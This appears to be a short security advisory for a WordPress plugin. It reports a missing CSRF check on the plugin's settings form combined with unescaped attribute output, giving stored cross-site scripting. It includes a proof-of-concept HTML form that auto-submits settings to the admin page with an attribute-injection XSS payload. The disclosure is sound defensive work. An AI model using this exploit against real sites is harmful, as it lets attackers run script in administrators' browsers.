The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.
All cf7sr_* parameters are vulnerable
<html>
<body>
<form action="https://example.com/wp-admin/options-general.php?page=cf7sr_edit" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="cf7sr_key" value="1" />
<input type="hidden" name="cf7sr_secret" value="2" />
<input type="hidden" name="cf7sr_message" value='" autofocus=autofocus onfocus=alert(1) e=' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>